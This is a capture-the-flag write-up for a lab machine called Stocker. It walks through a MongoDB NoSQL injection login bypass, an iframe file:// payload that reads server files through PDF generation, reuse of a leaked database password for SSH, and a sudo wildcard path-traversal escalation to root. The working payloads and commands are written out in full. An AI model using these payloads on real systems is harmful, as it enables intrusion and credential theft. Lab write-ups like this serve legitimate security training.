Stocker
Recon
I started with an nmap scan. Only two ports are open.
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 |
| 80 | HTTP | nginx 1.18.0 |
The web server hosts two sites. The main one is stocker.htb (built with Eleventy, so it is just a static page). The other one is dev.stocker.htb, which runs Node.js with Express. The dev site looked more interesting, so I went there.
Foothold
NoSQL injection on the login
The dev site has a login page that takes JSON. The backend is MongoDB, so I tried sending operators instead of plain strings. $ne means “not equal”. If username is not equal to an empty string and password is not equal to an empty string, the query matches the first user in the database. That bypasses the login.
1
2
3
curl -X POST http://dev.stocker.htb/login \
-H 'Content-Type: application/json' \
-d '{"username":{"$ne":""},"password":{"$ne":""}}'
After this we are logged in and can use the shop at /stock.
PDF generation and file read
On the /stock page I added items to the cart and did the checkout. The site makes a PDF receipt from the order. The order title is put into HTML and rendered by Puppeteer (headless Chromium). That means if I put HTML in the title, it gets rendered on the server.
So I sent POST /api/order with an iframe as the title. The iframe points to a local file using file://:
1
<iframe src="file:///var/www/dev/index.js" width=800 height=800>
Then I downloaded the PDF. It shows the content of index.js, and inside there is the MongoDB connection string:
1
mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev
User
The MongoDB password was also the password of a user on the box. The user is angoose, so I tried SSH with the same password.
1
2
ssh angoose@stocker.htb
# password: IHeardPassphrasesArePrettySecure
It worked, and I could read the user flag.
1
cat user.txt
Root
First I checked what angoose can run with sudo.
1
2
sudo -l
# (ALL) /usr/bin/node /usr/local/scripts/*.js
We can run any .js file inside /usr/local/scripts/ as root. The problem is the * wildcard. In sudoers, * also matches ../, so we can walk out of that folder and point to our own script in /tmp.
I wrote a small script that runs cat on the root flag file:
1
2
3
4
cat > /tmp/pe.js << 'EOF'
const { execSync } = require("child_process");
console.log(execSync("cat /root/root.txt").toString());
EOF
Then I ran it with the path traversal:
1
sudo /usr/bin/node /usr/local/scripts/../../../tmp/pe.js
Node ran my file as root and printed the root flag. After that I deleted /tmp/pe.js.